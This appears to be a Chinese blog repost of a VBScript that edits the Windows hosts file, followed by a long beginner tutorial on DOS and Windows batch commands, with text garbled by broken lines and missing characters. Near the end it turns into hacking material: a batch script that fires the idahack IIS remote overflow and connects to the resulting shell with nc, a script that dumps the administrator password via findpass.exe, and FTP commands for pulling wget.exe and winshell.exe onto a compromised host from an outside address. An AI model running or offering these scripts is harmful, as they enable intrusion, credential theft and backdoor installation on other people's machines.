解决用vbs修改客户端hosts文件。

Set wshshell=wscript.CreateObject("WScript.Shell")
wshshell.run "cmd /c echo. >> C:\WINDOWS\system32\drivers\etc\hosts",0
WScript.Sleep(500)
wshshell.run "cmd /c echo ***.***.***.*** www.***.com >> C:\WINDOWS\system32\drivers\etc\hosts",0
WScript.Sleep(500)
wshshell.run "cmd /c echo ***.***.***.*** www.***.com >> C:\WINDOWS\system32\drivers\etc\hosts",0
WScript.Sleep(500)
WScript.Echo "Run Success!"

 

代码的作用是修改用户端hosts并加上两行

主要碰到的问题一个是wshshell.run 直接运行echo不能运行,因为echo是内部命令,不是exe文件。这个问题后来牛牛指点用cmd /c 解决。

另个就是测试执行的时候发现有时候会不新起一行,而直接在hosts的最后一行后面家,结果变成:

127.0.0.1 localhost***.***.***.*** www.***.com

解决办法是使用echo. 来输入一个换行符,因为hosts里多一个空行的是没关系的。

ps:附上找到的一篇bat 的doc,来自www.zcboy.com

来源:牛族论坛

以前在牛族论坛收藏的
,今天才翻出来的~~

   
后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是
自动的连续执行多条命令,批处理文件的内容就是一条一条的命令电脑每次启动时
都会寻找autoexec
.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,
如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正
自动化。 echo、
@、call、pause、rem 是批处理文件最常用的几个命令,我们就
从他们开始学起。 
echo 表示显示此命令后的字符 echo off 表示在此语句后所有
运行的命令都不显示命令行本身 
与echo off相象,但它是加在其它命令行的最前
面,表示运行时不显示命令行本身。 
    call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件
后将无法执行当前文件后续命令) 
   pause 运行此句会暂停,显示Press any key to 
continue... 等待用户按任意键后继续  
   rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的  


  例:用edit编辑a
.bat文件,输入下列内容后存盘为c:a.bat,执行该批处理文件后可实现:
将根目录中所有文件写入 a
.txt中,启动UCDOS,进入WPS等功能。 

  批处理文件的内容为
        文件表示: 

    echo off            不显示命令行 

    dir c
:*.* >a.txt       将c盘文件列表写入a.txt 

    call c
:ucdosucdos.bat    调用ucdos 

    echo 你好            显示
"你好" 

    pause              暂停,等待按键继续 

    rem 使用wps           注释将使用wps 

    cd ucdos            进入ucdos目录 

    wps               使用wps   

  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符
%。 

   
%表示参数,参数是指在运行批处理文件时在文件名后加的字符串。

    变量可以从 
%0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。 

  例如,C:根目录下一批处理文件名为f
.bat,内容为 format %

  则如果执行C
:>f a   则实际执行的是format a

  又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %

  那么运行C
:>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 

  
if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,
你就是批处理文件的专家啦。 

  
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式
1、if "参数" == "字符串"  待执行的命令 
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。
(注意是两个等号)
如if 
"%1"=="a" format a

2、if exist 文件名  待执行的命令 
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config
.sys edit config.sys 

3、if errorlevel 数字  待执行的命令 
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码
 
goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如
:

goto end 

:end 
echo this is the end

标号用 
:字符串 表示,标号所在行不被执行
 
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加
/c:参数,
c
:后应写提示可输入的字符,之间无空格。它的返回码为1234……

choice /c:dme defrag,mem,end
将显示
defrag
,mem,end[D,M,E]?

例如,test.bat的内容如下
@echo 
off 
choice 
/c:dme defrag,mem,end 
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem 
if errotlevel 1 goto end 

:defrag 
c
:dosdefrag 
goto end 

:mem 
mem 
goto end 

:end 
echo good bye

此文件运行后,将显示 defrag
,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,
d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,
每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。
 
for 循环命令,只要条件符合,它将多次执行同一命令。 

格式FOR 
[%%fin (集合) DO [命令
只要参数f在指定的集合内,则条件成立,执行命令 

如果一条批处理文件中有一行

for %%
c in (*.bat *.txt) do type %%
含义是如果是以bat或txt结尾的文件,则显示文件的内容。
 

DOS在启动会自动运行autoexec
.bat这条文件,一般我们在里面装载每次必用的程序,
path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 
doskey
(键盘管理)、set(设置环境变量)等。 

  如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。 

  例如,一个典型的autoexec
.bat内容如下

@echo 
off                     不显示命令行 

prompt $p$g                    设置提示符前有目录提示 

path c
:dos;c:;c:windows;c:ucdos;c:tools    设置路径 

lh c
:dosdoskey.com                加载键盘管理 

lh c
:mousemouse.com               加载鼠标管理 

lh c
:dossmartdrv.exe               加载磁盘加速管理 

lh c
:dosmscdex //D:MSCD000 /M:12 /V      加载CD-ROM驱动 

set temp
=c:temp                  设置临时目录 
 


IF -EXIST

首先用记事本建立一个文件,文件内容如下: 
@echo off 
IF EXIST AUTOEXEC.BAT TYPE AUTOEXEC.BAT 
IF NOT EXIST AUTOEXEC.BAT ECHO AUTOEXEC.BAT does not exist 
在C盘保存文件为TEST
.BAT 
然后执行命令 
C
:>TEST1.BAT 
这时,如果AUTOEXEC
.BAT中有内容的话会显示出来。 

接着再建立一个文件,内容如下: 
@ECHO OFF 
IF EXIST %1 TYPE %
IF NOT EXIST %ECHO %1 does not exist 
也保存在C盘,文件名为TEST2
.BAT 
然后执行命令 
C
:>TEST2 AUTOEXEC.BAT 
同样,如果AUTOEXEC
.BAT中有内容的话会显示出来。 

说明: 
1. 
IF EXIST 是用来测试文件是否存在的,格式为 
IF EXIST [路径+文件名命令 
2. 其中第二个文件中的
%1是参数,DOS允许传递9个批参数信息给批处理文件,分别为%1---------%9 ,
有点想实参和形参的关系,
%1是形参,AUTOEXEC.BAT是实参。 
更进一步的,建立一个名为ABC
.BAT的文件,内容如下: 
IF '%1' = = ' A ' ECHO XIAO 
IF '%1' = = ' B ' ECHO TIAN 
IF '%1' = = ' C ' ECHO XIN 
完成后运行C
:>ABC.BAT A B C 
屏幕上会显示C
:>XIAOTIANXIA 
如果执行C
:>ABC.BAT A B 
屏幕上会显示C
:>XIAOTIAN 
DOS将一个空字符串附给参数
%3。 
可以将NOT放在IF和条件之间,指示IF在条件为假时执行某一命令。 
注意:这个命令可在DOS下输入直接运行。


IF-ERRORLEVEL

用记事本建立一个文件XIAO
.BAT,内容如下 
@ECHO OFF 
XCOPY C
:AUTOEXEC.BAT D
IF 
ERRORLEVEL = = ECHO 成功拷贝文件 
然后执行文件 
C
:>XIAO.BAT 
如果文件拷贝成功,屏幕就会显示:成功拷贝文件 
IF ERRORLEVEL 是用来测试它的上一个DOS命令的返回值的,注意只是上一个命令的返回值,因此下面的批处理文件是错误的 
@ECHO OFF 
XCOPY C
:AUTOEXEC.BAT D
IF 
ERRORLEVEL = = ECHO 成功拷贝文件 
IF ERRORLEVEL = = ECHO 未找到拷贝文件 
IF ERRORLEVEL = = ECHO 用户通过ctrl-c中止拷贝操作 
IF ERRORLEVEL = = ECHO 预置错误阻止文件拷贝操作 
IF ERRORLEVEL = = ECHO 拷贝过程中写盘错误 
无论拷贝是否成功,后面的: 
未找到拷贝文件 
用户通过ctrl
-c中止拷贝操作 
预置错误阻止文件拷贝操作 
拷贝过程中写盘错误 
都将显示出来。 
注意:这个命令是可以在DOS下直接输入的。 
例如: 
C
:>XCOPY AUTOEXEC.BAT D
之后可以执行 
C
:> IF ERRORLEVEL = = ECHO 成功拷贝文件 
如果成功,屏幕将显示: 
成功拷贝文件 

以下就是几个常用命令的返回值: 
backup 
出口状态 意义 
0 备份成功 
1 未找到备份文件 
2 文件共享冲突阻止备份完成 
3 用户用ctrl
-c中止备份 
4 由于致命的错误使备份操作中止 
diskcomp 
出口状态 意义 
0 盘比较相同 
1 盘比较不同 
2 用户通过ctrl
-c中止比较操作 
3 由于致命的错误使比较操作中止 
4 预置错误中止比较 
diskcopy 
出口状态 意义 
0 盘拷贝操作成功 
1 非致命盘读
/写错 
2 用户通过ctrl
-c结束拷贝操作 
3 因致命的处理错误使盘拷贝中止 
4 预置错误阻止拷贝操作 
format 
出口状态 意义 
0 格式化成功 
3 用户通过ctrl
-c中止格式化处理 
4 因致命的处理错误使格式化中止 
5 在提示
"proceed with format(y/n)?"下用户键入n结束 
xopy 
出口状态 意义 
0 成功拷贝文件 
1 未找到拷贝文件 
2 用户通过ctrl
-c中止拷贝操作 
4 预置错误阻止文件拷贝操作 
5 拷贝过程中写盘错误 


IF STRING = = STRING

首先用记事本建立一个名为XIAO
.BAT的文件,文件内容如下: 
@echo off 
IF "%1" = = "A" FORMAT A
接着执行 
C
:>XIAO A 
屏幕上就出现是否将A:盘格式化的内容。 
这个语句的格式为 
IF "参数" = = "字符串"  待执行的命令 
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。 
注意:要想在DOS下直接使用,只有这样 
C
:> IF "A" = = "A" FORMAT A
毫无意义。 


GOTO

首先用记事本建立一个名为XIAO
.BAT的文件,文件内容如下: 
@ECHO OFF 
IF EXIST C:AUTOEXEC.BAT GOTO KB 
KB 
COPY C
:AUTOEXEC.BAT D
DONE 
注意: 
1. 标号前是冒号(:) 
2. 标号的最后一行是
DONG 
3. DOS支持最长为八位的标号,当无法区别两个标号时,将跳转至最近的一个标号。


FOR

首先用记事本建立一个名为XIAO.BAT的文件,文件内容如下: 
@ECHO OFF 
FOR %%C IN (*.BAT *.TXT *.SYS) DO TYPE %%
接着执行 C
:>XIAO.BAT 
执行以后,屏幕上会将C
:盘所有的以 *.BAT *.TXT *.SYS为扩展名的文件内容显示出来,
当然不包括隐藏文件。 
说明:字符
%%C 表示FOR命令变量,FOR支持通配符。 


ECHO命令的使用
1. 作为控制批处理命令在执行时是否显示命令行自身的开关 

格式:ECHO 
[ON|OFF]

如果想关闭"ECHO OFF"命令行自身的显示,则需要在该命令行前加上"@"

2. 显示当前ECHO设置状态 

格式:ECHO

3. 输出提示信息 

格式:ECHO信息内容

上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:

4. 关闭DOS命令提示符 

在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,
提示符才会重新出现。

5. 输出空行,即相当于输入一个回车 

格式:ECHO.

值得注意的是命令行中的
"."要紧跟在ECHO后面中间不能有空格,否则"."将被当作提示信息
输出到屏幕。另外
"."可以用,:;"/[\]+等任一符号替代。

在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行
后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:

C:>ECHO.|TIME

ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示
的提示画面,出现在屏幕上方。

6. 答复命令中的提问 

格式:ECHO答复语|命令文件名

上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,
它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在
调用的命令出现人机对话时输入"
Y"回车:

C:>ECHO Y|CHKDSK/F

C:>ECHO Y|DEL A :*.*

7. 建立新文件或增加文件内容 

格式:ECHO 文件内容>文件名

ECHO 文件内容>>文件名

例如:C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件

C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容

C:TYPE AUTOEXEC.BAT显示该自动批处理文件

@ECHO OFF

C:\CPAV\BOOTSAFE

8. 向打印机输出打印内容或打印控制码 

格式:ECHO 打印机控制码>PRN

ECHO 打印内容>PRN

下面的例子是向M-1724打印机输入打印控制码。<Alt>156是按住Alt键在小键盘键入156,类似
情况依此类推:

C:>ECHO +156+42+116>PRN(输入下划线命令FS*t)

C:>ECHO +155@>PRN(输入初始化命令ESC@)

C:>ECHO.>PRN(换行)

9. 使喇叭鸣响 

C:>ECHO ^G

"
^G"是用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。使用方法是直接将其加
入批处理文件中或做成批处理文件调用。

10.执行ESC控制序列修改屏幕和键盘设置 

我们知道DOS的设备驱动程序ANSI.SYS提供了一套用来修改屏幕和键盘设置的ESC控制序列。
如执行下述内容的批处理程序可以把功能键F12定义为DOS命令"
DIR/W",并把屏幕颜色修
改为白色字符蓝色背景。

@ECHO"
&larr;[0;134;"DIR/W";13p

@ECHO"&larr;[1;37;44m

(注:批处理文件中"
&larr;"字符的输入方法是在编辑状态下按Alt中小键盘上的27)


win2000命令行方式批处理BAT文件技巧 
文章结构 
1. 所有内置命令的帮助信息 
2. 环境变量的概念 
3. 内置的特殊符号(实际使用中间注意避开) 
4. 简单批处理文件概念 
5. 附件1 tmp.txt 
6. 附件2 sample.bat 

###################################################################### 
1. 所有内置命令的帮助信息 
###################################################################### 
ver 
cmd /? 
set /? 
rem /? 
if /? 
echo /? 
goto /? 
for /? 
shift /? 
call /? 
其他需要的常用命令 
type /? 
find /? 
findstr /? 
copy /? 
______________________________________________________________________ 
下面将所有上面的帮助输出到一个文件 
echo ver >tmp.txt 
ver >>tmp.txt 
echo cmd /? >>tmp.txt 
cmd /? >>tmp.txt 
echo rem /? >>tmp.txt 
rem /? >>tmp.txt 
echo if /? >>tmp.txt 
if /? >>tmp.txt 
echo goto /? >>tmp.txt 
goto /? >>tmp.txt 
echo for /? >>tmp.txt 
for /? >>tmp.txt 
echo shift /? >>tmp.txt 
shift /? >>tmp.txt 
echo call /? >>tmp.txt 
call /? >>tmp.txt 
echo type /? >>tmp.txt 
type /? >>tmp.txt 
echo find /? >>tmp.txt 
find /? >>tmp.txt 
echo findstr /? >>tmp.txt 
findstr /? >>tmp.txt 
echo copy /? >>tmp.txt 
copy /? >>tmp.txt 
type tmp.txt 
______________________________________________________ 

###################################################################### 
2. 环境变量的概念 
###################################################################### 
_____________________________________________________________________________ 
C:\Program Files>set 
ALLUSERSPROFILE=C:\document. and Settings\All Users 
CommonProgramFiles=C:\Program Files\Common Files 
COMPUTERNAME=FIRST 
ComSpec=C:\WINNT\system32\cmd.exe 
NUMBER_OF_PROCESSORS=1 
OS=Windows_NT 
Os2LibPath=C:\WINNT\system32\os2\dll; 
Path=C:\WINNT\system32;C:\WINNT;C:\WINNT\system32\WBEM 
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH 
PROCESSOR_ARCHITECTURE=x86 
PROCESSOR_IDENTIFIER=x86 Family 6 Model 6 Stepping 5, GenuineIntel 
PROCESSOR_LEVEL=6 
PROCESSOR_REVISION=0605 
ProgramFiles=C:\Program Files 
PROMPT=$P$G 
SystemDrive=C: 
SystemRoot=C:\WINNT 
TEMP=C:\WINNT\TEMP 
TMP=C:\WINNT\TEMP 
USERPROFILE=C:\document. and Settings\Default User 
windir=C:\WINNT 
_____________________________________________________________________________ 

path: 表示可执行程序的搜索路径. 我的建议是你把你的程序copy 到 
%windir%\system32\. 这个目录里面. 一般就可以自动搜索到. 
语法: copy mychenxu.exe %windir%\system32\. 
使用点(.) 便于一目了然 
对环境变量的引用使用(英文模式,半角)双引号   
%windir%   变量 
%%windir%%  二次变量引用. 
我们常用的还有 
%temp%    临时文件目录 
%windir%   系统目录 
%errorlevel% 退出代码 

输出文件到临时文件目录里面.这样便于当前目录整洁. 

对有空格的参数. 你应该学会使用双引号("") 来表示比如对porgram file文件夹操作 
C:\>dir p* 
C:\ 的目录 
2000-09-02 11:47        2,164 PDOS.DEF 
1999-01-03 00:47    <DIR>     Program Files 
        1 个文件     2,164 字节 
        1 个目录 1,505,997,824 可用字节                  

C:\>cd pro* 
C:\Program Files> 

C:\> 
C:\>cd "
Program Files
C:\Program Files> 


###################################################################### 
3. 内置的特殊符号(实际使用中间注意避开) 
###################################################################### 
微软里面内置了下列字符不能够在创建的文件名中间使用 
con nul aux \ / | || && ^ > < * 

You can use most characters as variable values, including white space. 
If you use the special characters <, >, |, &, or ^, you must precede 
them with the escape character (^) or quotation marks. If you use 
quotation marks, they are included as part of the value because 
everything following the equal sign is taken as the value. Consider 
the following examples: 
(大意: 要么你使用^作为前导字符表示.或者就只有使用双引号""了) 
To create the variable value new&name, type: 
set varname=new^&name 

To create the variable value "
new&name", type: 
set varname="
new&name

The ampersand (&), pipe (|), and parentheses ( ) are special characters 
that must be preceded by the escape character (^) or quotation marks 
when you pass them as arguments. 

find "
Pacific Rim" < trade.txt > nwtrade.txt 
IF EXIST filename. (del filename.) ELSE echo filename. missing 

> 创建一个文件 
>> 追加到一个文件后面 
@ 前缀字符.表示执行时本行在cmd里面不显示, 可以使用 echo off关闭显示 
^ 对特殊符号( > < &)的前导字符.  第一个只是显示aaa 第二个输出文件bbb 
  echo 123456 ^> aaa 
  echo 1231231 > bbb 
() 包含命令 
  (echo aa & echo bb) 
, 和空格一样的缺省分隔符号. 
; 注释,表示后面为注释 
: 标号作用   
| 管道操作 
& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 
  用这种方法可以同时执行多条命令,而不管命令是否执行成功 
  dir c:\*.exe & dir d:\*.exe & dir e:\*.exe 
&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 
  当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; 
|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 
  当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; 

常用语法格式 
IF [NOT] ERRORLEVEL number command para1 para2 
IF [NOT] string1==string2 command para1 para2 
IF [NOT] EXIST filename command para1 para2 

IF EXIST filename command para1 para2 
IF NOT EXIST filename command para1 para2 
IF "
%1"=="" goto END 
IF "
%1"=="net" goto NET 
IF NOT "
%2"=="net" goto OTHER 
IF ERRORLEVEL 1 command para1 para2 
IF NOT ERRORLEVEL 1 command para1 para2 
FOR /L %%i IN (start,step,end) DO command [command-parameters] %%i 
FOR /F "
eol=; tokens=2,3delims=, " %i in (myfile.txt) do echo %i %j %k 
按照字母顺序 ijklmnopq依次取参数. 
    eol=c      - 指一个行注释字符的结尾(就一个) 
    skip=n     - 指在文件开始时忽略的行数。 
    delims=xxx   - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。 


###################################################################### 
4. 简单批处理文件概念 
###################################################################### 

echo This is test > a.txt 
type a.txt 
echo This is test 11111 >> a.txt 
type a.txt 
echo This is test 22222 > a.txt 
type a.txt 
第二个echo是追加 
第三个echo将清空a.txt  重新创建 a.txt 

netstat -n | find "
3389
这个将要列出所有连接3389的用户的ip. 

________________test.bat___________________________________________________ 
@echo please care 
echo plese care 1111 
echo plese care 2222 
echo plese care 3333 
@echo please care 
@echo plese care 1111 
@echo plese care 2222 
@echo plese care 3333 
rem 不显示注释语句,本行显示 
@rem 不显示注释语句,本行不显示 
@if exist %windir%\system32\find.exe (echo Find find.exe !!!) else (echo ERROR: Not find find.exe) 
@if exist %windir%\system32\fina.exe (echo Find fina.exe !!!) else (echo ERROR: Not find fina.exe) 
___________________________________________________________________________ 

下面我们以具体的一个idahack程序就是ida远程溢出为例子.应该是很简单的. 

___________________ida.bat_________________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\idahack.exe echo "
ERRORdont find idahack.exe
@if NOT exist %windir%\system32\nc.exe   echo "
ERRORdont find nc.exe

@if   "
%1" =="" goto USAGE 
@if NOT "
%2" =="" goto SP2 

:start 
@echo Now start ...      
@ping %1 
@echo chinese win2k:1 sp1:2 sp2:3 
idahack.exe %1 80 1 99 >%temp%\_tmp 
@echo "
prog exit code [%errorlevel%] idahack.exe
@type %temp%\_tmp 
@find "
good luck :)" %temp%\_tmp 
@echo "
prog exit code [%errorlevel%] find [goog luck]
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 

:SP2 
@idahack.exe %1 80 %2 99 %temp%\_tmp 
@type %temp%\_tmp 
@find "
good luck :)" %temp%\_tmp 
@if NOT errorlevel 1 nc.exe %1 99 
@goto END 

:USAGE 
@echo Example: ida.bat IP 
@echo Example: ida.bat IP (2,3) 

:END 
_____________________ida.bat__END_________________________________ 

下面我们再来第二个文件.就是得到administrator的口令. 
大多数人说得不到.其实是自己的没有输入正确的信息. 

___________________________fpass.bat____________________________________________ 
@rem ver 1.0 
@if NOT exist %windir%\system32\findpass.exe   echo "
ERRORdont find findpass.exe
@if NOT exist %windir%\system32\pulist.exe    echo "
ERRORdont find pulist.exe

@echo start.... 
@echo ____________________________________ 
@if "
%1"=="" goto USAGE 
@findpass.exe %1 %2 %3 >> %temp%\_findpass.txt 
@echo "
prog exit code [%errorlevel%] findpass.exe
@type %temp%\_findpass.txt 
@echo ________________________________Here__pass★★★★★★★★ 
@ipconfig /all           >>%temp%\_findpass.txt 
@goto END 

:USAGE 
@pulist.exe >%temp%\_pass.txt 
@findstr.exe /i "
WINLOGON explorer internat" %temp%\_pass.txt 
@echo "
Examplefpass.bat %%%%!!!
@echo "
Usagefindpass.exe DomainName UserName PID-of-WinLogon

:END 
@echo " 
fpass.bat %COMPUTERNAME% %USERNAMEadministrator 
@echo " 
fpass.bat end [%errorlevel%] !
_________________fpass.bat___END___________________________________________________________ 

还有一个就是已经通过telnet登陆了一个远程主机.怎样上传文件(win) 
依次在窗口输入下面的东西. 当然了也可以全部拷贝.Ctrl+V过去. 然后就等待吧!! 

echo open 210.64.x.4 3396>w 
echo read>>w 
echo read>>w 
echo cd winnt>>w 
echo binary>>w 
echo pwd >>w 
echo get wget.exe >>w 
echo get winshell.exe >>w 
echo get any.exe >>w 
echo quit >>w 
ftp -s:w

« 上一篇 | 下一篇 »

发表评论

评论内容 (必填):